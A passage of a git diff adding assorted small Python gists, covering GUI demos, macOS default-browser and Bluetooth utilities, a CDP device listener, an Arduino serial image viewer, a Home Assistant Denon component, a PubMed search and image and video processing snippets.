+			if x_new > 0:
+				x_new = 0
+			elif x_new < -comp.bounds.w + 20:
+				x_new = -comp.bounds.w + 20
+			comp.bounds.x = x_new
+	
+	def button_clicked(self, button):
+		comp = button.id
+		comp.bounds.x = (self.bounds.w - comp.bounds.w) / 2
+		comp.bounds.y = (self.bounds.h - comp.bounds.h) / 2
+		comp.is_visible = not comp.is_visible
+		self.to_front(comp)
+		
+	def laf_button_clicked(self, button):
+		button.id.__call__()
+		self.set_laf_demo_labels()
+		self.load_lookandfeel()
+		
+	def slider_moved(self, slider):
+		r, g, b = self.laf['Background']
+		if(slider.id == 'red'):
+			r = slider.value
+		elif(slider.id == 'green'):
+			g = slider.value
+		elif(slider.id == 'blue'):
+			b = slider.value
+		self.laf['Background'] = (r, g, b)
+		self.slider_text.set_text('Colour ({:.2f}, {:.2f}, {:.2f})'.format(r, g, b))
+		
+	def switch_flipped(self, switch):
+		switch.id.is_visible = switch.is_selected
+		
+	def to_front(self, comp):
+		self.components.remove(comp)
+		self.components.append(comp)
+
+run(Demo())
\ No newline at end of file
diff --git a/hard-gists/5969656/._snippet.py b/hard-gists/5969656/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5969656/._snippet.py differ
diff --git a/hard-gists/5969656/snippet.py b/hard-gists/5969656/snippet.py
new file mode 100644
index 00000000..25c2e7ff
--- /dev/null
+++ b/hard-gists/5969656/snippet.py
@@ -0,0 +1,10 @@
+#/usr/bin/env python
+from LaunchServices import LSSetDefaultHandlerForURLScheme
+from LaunchServices import LSSetDefaultRoleHandlerForContentType
+
+# 0x00000002 = kLSRolesViewer
+# see https://developer.apple.com/library/mac/#documentation/Carbon/Reference/LaunchServicesReference/Reference/reference.html#//apple_ref/c/tdef/LSRolesMask
+LSSetDefaultRoleHandlerForContentType("public.html", 0x00000002, "com.operasoftware.operanext")
+LSSetDefaultRoleHandlerForContentType("public.xhtml", 0x00000002, "com.operasoftware.operanext")
+LSSetDefaultHandlerForURLScheme("http", "com.operasoftware.operanext")
+LSSetDefaultHandlerForURLScheme("https", "com.operasoftware.operanext")
\ No newline at end of file
diff --git a/hard-gists/5973156/._snippet.py b/hard-gists/5973156/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5973156/._snippet.py differ
diff --git a/hard-gists/5973156/snippet.py b/hard-gists/5973156/snippet.py
new file mode 100644
index 00000000..6921b2d3
--- /dev/null
+++ b/hard-gists/5973156/snippet.py
@@ -0,0 +1,12 @@
+from PIL import Image as pil
+import urllib2
+import numpy as np
+source = "http://something"
+
+req = urllib2.Request(source, headers={'User-Agent' : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.54 Safari/536.5"})
+img_file = urllib2.urlopen(req)
+im = StringIO(img_file.read()) # You can skip this and directly convert to numpy arrays
+source = pil.open(im).convert("RGB")
+_pilImage = source
+npimg = np.fromstring(_pilImage.tostring(), dtype=np.uint8)
+npimg = cv2.cvtColor(npimg, cv2.cv.CV_RGB2BGR)
\ No newline at end of file
diff --git a/hard-gists/5981683/._snippet.py b/hard-gists/5981683/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5981683/._snippet.py differ
diff --git a/hard-gists/5981683/snippet.py b/hard-gists/5981683/snippet.py
new file mode 100644
index 00000000..ff06c956
--- /dev/null
+++ b/hard-gists/5981683/snippet.py
@@ -0,0 +1,50 @@
+#! /usr/bin/env python
+# A small script for cdp devices discovery
+
+import sys
+import pcapy
+import socket
+
+from dpkt import ethernet
+from dpkt import cdp
+from docopt import docopt
+
+__doc__ = """Usage: %s [-h] <interface>
+
+Listens on interface to discover devices emitting cdp packets.
+
+Arguments:
+  interface     network interface to listen
+
+Options:
+  -h --help
+""" %sys.argv[0]
+
+
+def discover_neighbors (interface, timeout=100):
+    def on_cdp_packet (header, data):
+        ether_frame = ethernet.Ethernet (data)
+        cdp_packet  = ether_frame.cdp
+
+        cdp_info = {}
+        for info in cdp_packet.data:
+            cdp_info.update ({ info.type: info.data })
+
+        addresses = [socket.inet_ntoa (x.data) for x in cdp_info[cdp.CDP_ADDRESS]]
+        print "Hey, %s is at %s." %(cdp_info[cdp.CDP_DEVID], ", ".join (addresses))
+    try:
+        pcap = pcapy.open_live (interface, 65535, 1, timeout)
+        pcap.setfilter ('ether[20:2] == 0x2000') # CDP filter
+        
+        try:
+            while True:
+                # this is more responsive to  keyboard interrupts
+                pcap.dispatch (1, on_cdp_packet)
+        except KeyboardInterrupt, e:
+            pass
+    except Exception, e:
+        print e
+    
+if __name__ == "__main__" :
+    options  = docopt(__doc__)
+    discover_neighbors (options['<interface>'])
\ No newline at end of file
diff --git a/hard-gists/5984815/._snippet.py b/hard-gists/5984815/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5984815/._snippet.py differ
diff --git a/hard-gists/5984815/snippet.py b/hard-gists/5984815/snippet.py
new file mode 100644
index 00000000..a7337dfe
--- /dev/null
+++ b/hard-gists/5984815/snippet.py
@@ -0,0 +1,100 @@
+import sip
+sip.setapi('QString', 2)
+sip.setapi('QVariant', 2)
+
+
+from PyQt4 import QtCore, QtGui
+
+class TableModel(QtCore.QAbstractTableModel):
+    """
+    A simple 5x4 table model to demonstrate the delegates
+    """
+    def rowCount(self, parent=QtCore.QModelIndex()): return 5
+    def columnCount(self, parent=QtCore.QModelIndex()): return 4
+
+    def data(self, index, role=QtCore.Qt.DisplayRole):
+        if not index.isValid(): return None
+        if not role==QtCore.Qt.DisplayRole: return None
+        return "{0:02d}".format(index.row())
+        
+    def setData(self, index, value, role=QtCore.Qt.DisplayRole):
+        print "setData", index.row(), index.column(), value
+
+    def flags(self, index):
+        if (index.column() == 0):
+            return QtCore.Qt.ItemIsEditable | QtCore.Qt.ItemIsEnabled
+        else:
+            return QtCore.Qt.ItemIsEnabled
+
+
+class ComboDelegate(QtGui.QItemDelegate):
+    """
+    A delegate that places a fully functioning QComboBox in every
+    cell of the column to which it's applied
+    """
+    def __init__(self, parent):
+
+        QtGui.QItemDelegate.__init__(self, parent)
+        
+    def createEditor(self, parent, option, index):
+        combo = QtGui.QComboBox(parent)
+        li = []
+        li.append("Zero")
+        li.append("One")
+        li.append("Two")
+        li.append("Three")
+        li.append("Four")
+        li.append("Five")
+        combo.addItems(li)
+        self.connect(combo, QtCore.SIGNAL("currentIndexChanged(int)"), self, QtCore.SLOT("currentIndexChanged()"))
+        return combo
+        
+    def setEditorData(self, editor, index):
+        editor.blockSignals(True)
+        editor.setCurrentIndex(int(index.model().data(index)))
+        editor.blockSignals(False)
+        
+    def setModelData(self, editor, model, index):
+        model.setData(index, editor.currentIndex())
+        
+    @QtCore.pyqtSlot()
+    def currentIndexChanged(self):
+        self.commitData.emit(self.sender())
+
+class TableView(QtGui.QTableView):
+    """
+    A simple table to demonstrate the QComboBox delegate.
+    """
+    def __init__(self, *args, **kwargs):
+        QtGui.QTableView.__init__(self, *args, **kwargs)
+
+        # Set the delegate for column 0 of our table
+        # self.setItemDelegateForColumn(0, ButtonDelegate(self))
+        self.setItemDelegateForColumn(0, ComboDelegate(self))
+
+    
+if __name__=="__main__":
+    from sys import argv, exit
+
+    class Widget(QtGui.QWidget):
+        """
+        A simple test widget to contain and own the model and table.
+        """
+        def __init__(self, parent=None):
+            QtGui.QWidget.__init__(self, parent)
+
+            l=QtGui.QVBoxLayout(self)
+            self._tm=TableModel(self)
+            self._tv=TableView(self)
+            self._tv.setModel(self._tm)
+            for row in range(0, self._tm.rowCount()):
+                self._tv.openPersistentEditor(self._tm.index(row, 0))
+            
+            l.addWidget(self._tv)
+
+    a=QtGui.QApplication(argv)
+    w=Widget()
+    w.show()
+    w.raise_()
+    exit(a.exec_())
+    
diff --git a/hard-gists/5996074/._snippet.py b/hard-gists/5996074/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5996074/._snippet.py differ
diff --git a/hard-gists/5996074/snippet.py b/hard-gists/5996074/snippet.py
new file mode 100644
index 00000000..0c1699ed
--- /dev/null
+++ b/hard-gists/5996074/snippet.py
@@ -0,0 +1,13 @@
+from sklearn.base import BaseEstimator, TransformerMixin
+from sklearn.metrics.pairwise import rbf_kernel
+
+
+class KMeansTransformer(BaseEstimator, TransformerMixin):
+    def __init__(self, centroids):
+        self.centroids = centroids
+
+    def fit(self, X, y=None):
+        return self
+
+    def transform(self, X, y=None):
+        return rbf_kernel(X, self.centroids)
\ No newline at end of file
diff --git a/hard-gists/5998853/._snippet.py b/hard-gists/5998853/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5998853/._snippet.py differ
diff --git a/hard-gists/5998853/snippet.py b/hard-gists/5998853/snippet.py
new file mode 100644
index 00000000..01832f2d
--- /dev/null
+++ b/hard-gists/5998853/snippet.py
@@ -0,0 +1,50 @@
+#!/usr/bin/env python
+
+# Will split a png cubemap/skymap image produced by blender into 6 separated image files for use in a skybox within unity
+# Requires Python Imaging Library > http://www.pythonware.com/products/pil/
+
+# The author takes no responsibility for any damage this script might cause,
+# feel free to use, change and or share this script.
+# 2013-07, CanOfColliders, m@canofcolliders.com
+
+from PIL import Image
+import sys, os
+
+path = os.path.abspath("") + "/";
+processed = False
+	
+
+def processImage(path, name):
+	img = Image.open(os.path.join(path, name))
+	size = img.size[0] / 3 # splits the width of the image by 3, expecting the 3x2 layout blender produces.
+	splitAndSave(img, 0, 0, size, addToFilename(name, "_right"))
+	splitAndSave(img, size, 0, size, addToFilename(name, "_back"))
+	splitAndSave(img, size * 2, 0, size, addToFilename(name, "_left"))
+	splitAndSave(img, 0, size, size, addToFilename(name, "_down"))
+	splitAndSave(img, size, size, size, addToFilename(name, "_up"))
+	splitAndSave(img, size * 2, size, size, addToFilename(name, "_front"))
+
+def addToFilename(name, add):
+	name = name.split('.')
+	return name[0] + add + "." + name[1]
+
+def splitAndSave(img, startX, startY, size, name):
+	area = (startX, startY, startX + size, startY + size)
+	saveImage(img.crop(area), path, name)
+
+def saveImage(img, path, name):
+	try:
+		img.save(os.path.join(path, name))
+	except:
+		print "*   ERROR: Could not convert image."
+		pass
+
+for arg in sys.argv:
+	if ".png" in arg or ".jpg" in arg:
+		processImage(path, arg)
+		processed = True
+
+if not processed:
+	print "*  ERROR: No Image"
+	print "   usage: 'python script.py image-name.png'"
+
diff --git a/hard-gists/59cf3e5b6d96bf67bca34530e522be08/._snippet.py b/hard-gists/59cf3e5b6d96bf67bca34530e522be08/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/59cf3e5b6d96bf67bca34530e522be08/._snippet.py differ
diff --git a/hard-gists/59cf3e5b6d96bf67bca34530e522be08/snippet.py b/hard-gists/59cf3e5b6d96bf67bca34530e522be08/snippet.py
new file mode 100644
index 00000000..ec0e8d13
--- /dev/null
+++ b/hard-gists/59cf3e5b6d96bf67bca34530e522be08/snippet.py
@@ -0,0 +1,208 @@
+# Very simple python program view BMP images sent via Serial from Arduino or other microcontoller boards
+# The program sents the charachter '0' to Serial, to trigger the Arduino board to send the image.
+# Only tested with 320x240 pixel images.
+# Change root.geometry('320x280') to some other size if your image is bigger
+
+# Requires Python 2.7 - probably won't work in Python 3 without changes
+# Requires Pillow (PIL) image library. Install using pip install Pillow from your command line.
+
+from Tkinter import *
+import Tkinter, Tkconstants, tkFileDialog
+
+#pip install Pillow
+from PIL import Image, ImageTk
+import serial
+from time import sleep
+import sys
+import StringIO
+import os
+
+
+class Application(Frame):
+
+    def destroy(self):
+        #print "destroy"        
+        try:
+            if (self.ser.isOpen() == True):
+                #print "closing serial port"
+                self.ser.close()
+            else:
+                pass
+                #print "Serial port not open"
+        except:
+            pass
+            #print "Serial variable not defined"
+                
+    def take_photo(self):
+        self.initSerial()
+
+    def setComPort(self,chosenComPort):
+        #print "Set com port to "+chosenComPort
+        self.commPort = chosenComPort
+
+    def serial_ports(self):
+        """ Lists serial port names
+
+            :raises EnvironmentError:
+                On unsupported or unknown platforms
+            :returns:
+                A list of the serial ports available on the system
+        """
+        if sys.platform.startswith('win'):
+            ports = ['COM%s' % (i + 1) for i in range(256)]
+        elif sys.platform.startswith('linux') or sys.platform.startswith('cygwin'):
+            # this excludes your current terminal "/dev/tty"
+            ports = glob.glob('/dev/tty[A-Za-z]*')
+        elif sys.platform.startswith('darwin'):
+            ports = glob.glob('/dev/tty.*')
+        else:
+            raise EnvironmentError('Unsupported platform')
+
+        result = []
+        for port in ports:
+            try:
+                s = serial.Serial(port)
+                s.close()
+                result.append(port)
+            except (OSError, serial.SerialException):
+                pass
+        return result
+
+    def saveImage(self):
+        print "Save image"
+        try:
+            if (self.photoLabel.imgBytes == ""):
+                self.photoLabel = Label(text="No image to save.")
+                self.photoLabel.pack()
+                return
+        except:
+            self.photoLabel = Label(text="No image to save.")
+            self.photoLabel.pack()
+            return
+            
+        fileName = tkFileDialog.asksaveasfilename(initialdir = "/",
+                                                  title = "Select file",
+                                                  filetypes = (("BMP","*.bmp"),),
+                                                  defaultextension='.bmp' )
+        imageFile = open(fileName, "wb")
+        imageFile.write(self.photoLabel.imgBytes)
+        imageFile.close()
+       
+        
+    def createWidgets(self):
+
+        self.QUIT = Button(self)
+        self.QUIT["text"] = "QUIT"
+        self.QUIT["fg"]   = "red"
+        self.QUIT["command"] =  self.quit
+
+        self.QUIT.pack({"side": "left"})
+
+        self.takePhotoButton = Button(self)
+        self.takePhotoButton["text"] = "Take Photo"
+        self.takePhotoButton["command"] = self.take_photo
+        self.takePhotoButton.pack({"side": "left"})
+
+# Add com ports to menu        
+        menubar = Menu(root)
+        fileMenu = Menu(menubar, tearoff=0)
+        fileMenu.add_command(label="Save", command=self.saveImage)
+        menubar.add_cascade(label="File", menu=fileMenu)
+         
+        comPortMenu = Menu(menubar, tearoff=0)
+        for member in self.serial_ports():
+            comPortMenu.add_command(label=member, command=lambda m=member: self.setComPort(m))
+        menubar.add_cascade(label="Select COM port", menu=comPortMenu)
+
+        root.config(menu=menubar)
+
+    def byte2Int(self,b):
+        return int(b.encode('hex'), 16)
+        
+    def readImage(self,ser):
+            #TOTAL_IMAGE_SIZE_IN_BYTES = 320 * 240 * 3 + 54
+            while ser.in_waiting !=0 :
+                ser.read(ser.in_waiting)
+                sleep(0.1)
+
+			# CHANGE THIS LINE IF YOU WANT TO SEND SOMETHING ELSE TO TRIGGER SENDING THE IMAGE FROM THE ARDUINO
+            ser.write('0')
+
+            imgBytes = bytes()
+            # image header starts with BM then the next 4 bytes are the length as 32 bits.
+            while len(imgBytes) < 6:
+                imgBytes += ser.read(ser.in_waiting)
+
+            # calculate the total size that will arrive via serial.
+            TOTAL_IMAGE_SIZE_IN_BYTES =  self.byte2Int(imgBytes[2])+self.byte2Int(imgBytes[3])*256 + self.byte2Int(imgBytes[4])*256*256 + self.byte2Int(imgBytes[5])*256*256*256
+
+            #loop until all bytes are received....
+            #To Do. Timeout !!    
+            while len(imgBytes) < TOTAL_IMAGE_SIZE_IN_BYTES:
+                imgBytes += ser.read(ser.in_waiting)
+
+
+            photo = ImageTk.PhotoImage(data=imgBytes)
+            root.geometry(str(photo.width())+"x"+str(photo.height()+50))
+            try:
+                self.photoLabel
+                self.photoLabel.config(image=photo)
+                self.photoLabel.imgBytes = imgBytes
+            except:
+                self.photoLabel = Label(image=photo)
+                self.photoLabel.imgBytes = imgBytes
+
+                
+
+
+			
+            self.photoLabel.image = photo # keep a reference!
+            self.photoLabel.pack()
+                        
+    
+    def initSerial(self):
+        try:
+            self.commPort
+            try:
+            # configure the serial connections (the parameters differs on the device you are connecting to)
+                self.ser = serial.Serial(
+                        port=self.commPort,
+                        baudrate=115200,
+                        parity=serial.PARITY_NONE,
+                        stopbits=serial.STOPBITS_ONE,
+                        bytesize=serial.EIGHTBITS)
+
+                if ( self.ser.isOpen() == False):
+                    self.ser.open()
+                    #print 'Serial opened'
+                    self.readImage(ser)
+                    self.ser.close()
+                    #print 'Serial closed'
+                else:
+                    #print 'Serial already open '
+                    self.readImage(self.ser)
+                    self.ser.close()
+                    #print 'Serial closed'
+            except:
+                print "Serial port error"
+        except:
+            #print "Please select a com port"
+            self.photoLabel = Label(text="Please select a com port first")
+            self.photoLabel.pack()
+
+    def __init__(self, main=None):
+        Frame.__init__(self, main)
+        self.pack()
+        self.createWidgets()
+
+root = Tk()
+root.wm_title("STM32 OV7670")
+root.geometry('320x50')
+
+
+app = Application(main=root)
+app.mainloop()
+try:
+    root.destroy()
+except:
+    pass
diff --git a/hard-gists/59f9d4f5fd8196c849a892a56ba90baf/._snippet.py b/hard-gists/59f9d4f5fd8196c849a892a56ba90baf/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/59f9d4f5fd8196c849a892a56ba90baf/._snippet.py differ
diff --git a/hard-gists/59f9d4f5fd8196c849a892a56ba90baf/snippet.py b/hard-gists/59f9d4f5fd8196c849a892a56ba90baf/snippet.py
new file mode 100644
index 00000000..2e63ae33
--- /dev/null
+++ b/hard-gists/59f9d4f5fd8196c849a892a56ba90baf/snippet.py
@@ -0,0 +1,139 @@
+"""
+Support for Denon AVR Receivers.
+For more details about this platform, please refer to the documentation at
+https://home-assistant.io/components/media_player.denonavr/
+"""
+import logging
+from datetime import timedelta
+import voluptuous as vol
+
+from homeassistant.components.media_player import (
+    MEDIA_TYPE_MUSIC, MEDIA_TYPE_CHANNEL, SUPPORT_TURN_OFF, SUPPORT_TURN_ON, SUPPORT_VOLUME_MUTE,
+    SUPPORT_VOLUME_SET,SUPPORT_PAUSE, SUPPORT_PREVIOUS_TRACK, SUPPORT_NEXT_TRACK,
+    SUPPORT_SELECT_SOURCE, MediaPlayerDevice, PLATFORM_SCHEMA)
+from homeassistant.const import (STATE_OFF, STATE_ON, CONF_HOST, CONF_NAME)
+import homeassistant.helpers.config_validation as cv
+
+_LOGGER = logging.getLogger(__name__)
+
+
+
+PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({
+    vol.Required(CONF_HOST): cv.string,
+})
+
+DENON_PLAYER_SUPPORT = SUPPORT_PAUSE | SUPPORT_NEXT_TRACK | SUPPORT_PREVIOUS_TRACK | \
+	SUPPORT_SELECT_SOURCE | SUPPORT_TURN_OFF | SUPPORT_TURN_ON | SUPPORT_VOLUME_MUTE | \
+	SUPPORT_VOLUME_SET
+
+REQUIREMENTS = [
+                'https://github.com/subutux/denonavr/archive/'
+                '04c7789b1e4aad4b792b092ded87133df3c2dd47.zip'
+                '#denonavr==0.5b4']
+
+def setup_platform(hass, config, add_devices, discovery_info=None):
+	from denonavr import denon
+	myDenon = denon.Connect(config.get(CONF_HOST))
+	add_devices([
+		DenonDevice(myDenon)
+		])
+
+class DenonDevice(MediaPlayerDevice):
+	def __init__(self,myDenon):
+		self.denon = myDenon
+
+	def update(self):
+		self.denon.updateStatus()
+		self.denon.updateInputs()
+	@property
+	def should_poll(self):
+		return True
+	
+	@property
+	def state(self):
+		if self.denon.state == "ON":
+			return STATE_ON
+		elif self.denon.state == "STANDBY":
+			return STATE_OFF
+	@property
+	def name(self):
+		return self.denon.name
+
+	@property
+	def volume_level(self):
+		return round(self.denon.volume_percent / 100)
+	
+	@property
+	def is_volume_muted(self):
+		return self.denon.mute
+	
+	@property
+	def source_list(self):
+		return list(self.denon.inputs)
+
+	@property
+	def source(self):
+		return self.denon.input
+	
+	def select_source(self,source):
+		self.denon.setInput(source)
+		self.update_ha_state()
+
+	def turn_on(self):
+		self.denon.turnOn()
+		self.update_ha_state()
+	
+	def turn_off(self):
+		self.denon.turnOff()
+		self.update_ha_state()
+
+	def media_play(self):
+		self.denon.play()
+		self.update_ha_state()
+
+	def media_pause(self):
+		self.denon.pause()
+		self.update_ha_state()
+
+	def media_next_track(self):
+		self.denon.next_track()
+	
+	def media_previous_track(self):
+		self.denon.previous_track()
+
+	def mute_volume(self,mute):
+		self.denon.mute = mute
+
+	def set_volume_level(self,level):
+		self.denon.volume = level * 100
+		self.update_ha_state()
+
+	def volume_up(self):
+		self.denon.volume_up()
+	
+	def volume_down(self):
+		self.denon.volume_down()
+	@property
+	def media_content_type(self):
+		if self.denon.nowPlaying["SONG"] == None:
+			return MEDIA_TYPE_CHANNEL
+		else:
+			return MEDIA_TYPE_MUSIC
+	@property
+	def media_image_url(self):
+		return self.denon.nowPlaying["ALBUM_ART"]
+	@property
+	def supported_media_commands(self):
+		return DENON_PLAYER_SUPPORT
+	@property
+	def media_title(self):
+		if self.denon.nowPlaying["SONG"] == None:
+			return self.denon.nowPlaying["INPUT"]
+		else:
+			return self.denon.nowPlaying["ARTIST"] + ": " + self.denon.nowPlaying["SONG"]
+	@property
+	def media_artist(self):
+		return self.denon.nowPlaying["SONG"]
+	@property
+	def media_album_name(self):
+		return self.denon.nowPlaying["ALBUM"]
diff --git a/hard-gists/5a073b72c94de357d453/._snippet.py b/hard-gists/5a073b72c94de357d453/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5a073b72c94de357d453/._snippet.py differ
diff --git a/hard-gists/5a073b72c94de357d453/snippet.py b/hard-gists/5a073b72c94de357d453/snippet.py
new file mode 100644
index 00000000..fb5dc4ee
--- /dev/null
+++ b/hard-gists/5a073b72c94de357d453/snippet.py
@@ -0,0 +1,80 @@
+'''
+Sample colours from selected image and overlay selected colours along bottom edge of image.
+For use in Pythonista
+
+UI selector borrowed directly from Ole Zorn @olemoritz: https://gist.github.com/omz/ae96874dfbda54ed2771
+
+'''
+import photos
+import Image
+import random
+import ui
+import console
+import clipboard
+
+colourcount = 25 # Number of selectable samples
+samplesize = 400 # Size of downsampled image. Reduce this for a smaller sample set. Results in colours being lost through pixelation.
+
+
+selected_image = photos.pick_image() # Get image. Comment this line and uncomment the next line to use camera instead.
+# selected_image = photos.capture_image()
+select_width, select_height = selected_image.size # These will be used for final colour chip placement.
+
+
+sample = selected_image.resize((samplesize,samplesize)) # Reduce available colours by reducing a copy of and pixelating the image.
+colors = sorted(sample.getcolors(samplesize*samplesize)) # Remove duplicate colours.
+colors = random.sample(colors,  colourcount)  # Get random selection of colours from sample image.
+
+
+selected_colors = []
+def tapped(sender):
+	r, g, b, a = sender.background_color
+	select_color = (int(r*255), int(g*255), int(b*255))
+	# If border colour is active, remove colour from selected_colors. Otherwise, add it.
+	if sender.border_color == (0.0,1.0,0.0,1.0):
+		sender.border_width=0
+		sender.border_color='#000000'
+		selected_colors.remove(select_color)
+	else: 
+		sender.border_width=15
+		sender.border_color='#00ff00'
+		selected_colors.append(select_color)
+	console.hud_alert(str(len(selected_colors)) + ' in queue') # Tell us how many colours are selected.
+
+
+def save_action(sender):
+	scroll_view.close() # Close the view. Is this really the best place for this?
+	chipsize = select_width/len(selected_colors) 
+	for i, c in enumerate(selected_colors):
+		bar = (chipsize*i, select_height-chipsize, (chipsize*i)+chipsize, select_height)
+		selected_image.paste(c, bar)
+	selected_image.show()
+	saveit = photos.save_image(selected_image)
+	
+	if saveit is True:
+		console.hud_alert('Sampled image has been saved')
+	elif saveit is False:
+		console.hud_alert('Uh oh, not saved')
+
+
+#Add buttons for all the colors to a scroll view:
+scroll_view = ui.ScrollView(frame=(0, 0, 400, 400))
+scroll_view.content_size = (0, len(colors) * 80)
+for i, c in enumerate(colors):
+	r, g, b = c[1]
+	color = (float(r/255.0),float(g/255.0),float(b/255.0))
+	swatch = ui.Button(frame=(0, i*80, 400, 80), background_color=color)
+	swatch.title = str(c[1])
+	swatch.flex = 'w'
+	swatch.action = tapped
+	scroll_view.add_subview(swatch)
+scroll_view.name = 'Random Color Picker'
+save_button = ui.ButtonItem()
+save_button.title = 'Save'
+save_button.action = save_action
+save_button.tint_color = 'red'
+scroll_view.right_button_items = [save_button]
+scroll_view.present('sheet')
+
+
+
diff --git a/hard-gists/5a1aaa2effe3825368db4c1925924bba/._snippet.py b/hard-gists/5a1aaa2effe3825368db4c1925924bba/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5a1aaa2effe3825368db4c1925924bba/._snippet.py differ
diff --git a/hard-gists/5a1aaa2effe3825368db4c1925924bba/snippet.py b/hard-gists/5a1aaa2effe3825368db4c1925924bba/snippet.py
new file mode 100644
index 00000000..d03da33a
--- /dev/null
+++ b/hard-gists/5a1aaa2effe3825368db4c1925924bba/snippet.py
@@ -0,0 +1,38 @@
+#!/usr/bin/python
+from Foundation import NSBundle
+
+IOBluetooth       = NSBundle.bundleWithIdentifier_('com.apple.Bluetooth')
+IOBluetoothDevice = IOBluetooth.classNamed_('IOBluetoothDevice')
+
+# remove configured devices
+try:
+    devices = list(IOBluetoothDevice.configuredDevices())
+except:
+    devices = []
+for device in devices:
+    try:
+        device.remove()
+    except:
+        pass
+
+# remove paired devices
+try:
+    devices = list(IOBluetoothDevice.pairedDevices())
+except:
+    devices = []
+for device in devices:
+    try:
+        device.remove()
+    except:
+        pass
+
+# remove favorite devices
+try:
+    devices = list(IOBluetoothDevice.favoriteDevices())
+except:
+    devices = []
+for device in devices:
+    try:
+        device.remove()
+    except:
+        pass
diff --git a/hard-gists/5a4c39e4c02502a8451d/._snippet.py b/hard-gists/5a4c39e4c02502a8451d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5a4c39e4c02502a8451d/._snippet.py differ
diff --git a/hard-gists/5a4c39e4c02502a8451d/snippet.py b/hard-gists/5a4c39e4c02502a8451d/snippet.py
new file mode 100644
index 00000000..1ea97d09
--- /dev/null
+++ b/hard-gists/5a4c39e4c02502a8451d/snippet.py
@@ -0,0 +1,36 @@
+# you need to install Biopython:
+# pip install biopython
+
+# Full discussion:
+# https://marcobonzanini.wordpress.com/2015/01/12/searching-pubmed-with-python/
+
+from Bio import Entrez
+
+def search(query):
+    Entrez.email = 'your.email@example.com'
+    handle = Entrez.esearch(db='pubmed', 
+                            sort='relevance', 
+                            retmax='20',
+                            retmode='xml', 
+                            term=query)
+    results = Entrez.read(handle)
+    return results
+
+def fetch_details(id_list):
+    ids = ','.join(id_list)
+    Entrez.email = 'your.email@example.com'
+    handle = Entrez.efetch(db='pubmed',
+                           retmode='xml',
+                           id=ids)
+    results = Entrez.read(handle)
+    return results
+
+if __name__ == '__main__':
+    results = search('fever')
+    id_list = results['IdList']
+    papers = fetch_details(id_list)
+    for i, paper in enumerate(papers):
+        print("%d) %s" % (i+1, paper['MedlineCitation']['Article']['ArticleTitle']))
+    # Pretty print the first paper in full
+    #import json
+    #print(json.dumps(papers[0], indent=2, separators=(',', ':')))
diff --git a/hard-gists/5a51bc0ded46b230c5322a234cf8eabf/._snippet.py b/hard-gists/5a51bc0ded46b230c5322a234cf8eabf/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5a51bc0ded46b230c5322a234cf8eabf/._snippet.py differ
diff --git a/hard-gists/5a51bc0ded46b230c5322a234cf8eabf/snippet.py b/hard-gists/5a51bc0ded46b230c5322a234cf8eabf/snippet.py
new file mode 100644
index 00000000..a06650cb
--- /dev/null
+++ b/hard-gists/5a51bc0ded46b230c5322a234cf8eabf/snippet.py
@@ -0,0 +1,27 @@
+import numpy as np
+import cv2
+
+file_path = "vid.mp4"
+
+cap = cv2.VideoCapture(file_path)
+first_iter = True
+result = None
+while True:
+    ret, frame = cap.read()
+    if frame is None:
+        break
+
+    if first_iter:
+        avg = np.float32(frame)
+        first_iter = False
+
+    cv2.accumulateWeighted(frame, avg, 0.005)
+    result = cv2.convertScaleAbs(avg)
+
+cv2.imshow("result", result)
+cv2.imwrite("averaged_frame.jpg", result)
+cv2.waitKey(0)
+
+# When everything done, release the capture
+cap.release()
+cv2.destroyAllWindows()
\ No newline at end of file
diff --git a/hard-gists/5a534f9deb80775f0f497a4133a79d7b/._snippet.py b/hard-gists/5a534f9deb80775f0f497a4133a79d7b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5a534f9deb80775f0f497a4133a79d7b/._snippet.py differ
diff --git a/hard-gists/5a534f9deb80775f0f497a4133a79d7b/snippet.py b/hard-gists/5a534f9deb80775f0f497a4133a79d7b/snippet.py
new file mode 100644
index 00000000..a481a4bc
--- /dev/null
+++ b/hard-gists/5a534f9deb80775f0f497a4133a79d7b/snippet.py
@@ -0,0 +1,108 @@
+# -*- coding: utf-8 -*-
+"""
+Created on Mon Sep 23 23:16:44 2017
+
+@author: Marios Michailidis
+
+This is an example that performs stacking to improve mean squared error
+This examples uses 2 bases learners (a linear regression and a random forest)
+and  linear regression (again) as a meta learner to achieve the best score.
+The initial train data are split in 2 halves to commence the stacking. 
+
+"""
+
+
+# train is the training data
+train=[
+       [0.624,0.583],[0.321,0.016],[0.095,0.285],[0.235,0.573],[0.027,0.146],[0.514,0.06],[0.612,0.083],[0.054,0.597],
+       [0.344,0.108],[0.671,0.089],[0.486,0.583],[0.829,0.929],[0.451,0.018],[0.448,0.286],[0.26,0.914],[0.893,0.706],
+       [0.951,0.487],[0.811,0.075],[0.65,0.505],[0.902,0.24],[0.312,0.617],[0.907,0.844],[0.629,0.194],[0.333,0.559],
+       [0.98,0.983],[0.87,0.706],[0.611,0.623],[0.463,0.097],[0.957,0.507],[0.341,0.792],[0.384,0.482],[0.584,0.655],
+       [0.446,0.454],[0.314,0.396],[0.061,0.712],[0.951,0.691],[0.71,0.444],[0.238,0.809],[0.943,0.874],[0.325,0.619],
+       [0.438,0.146],[0.131,0.055],[0.884,0.083],[0.306,0.641],[0.071,0.32],[0.765,0.402],[0.321,0.584],[0.714,0.444],
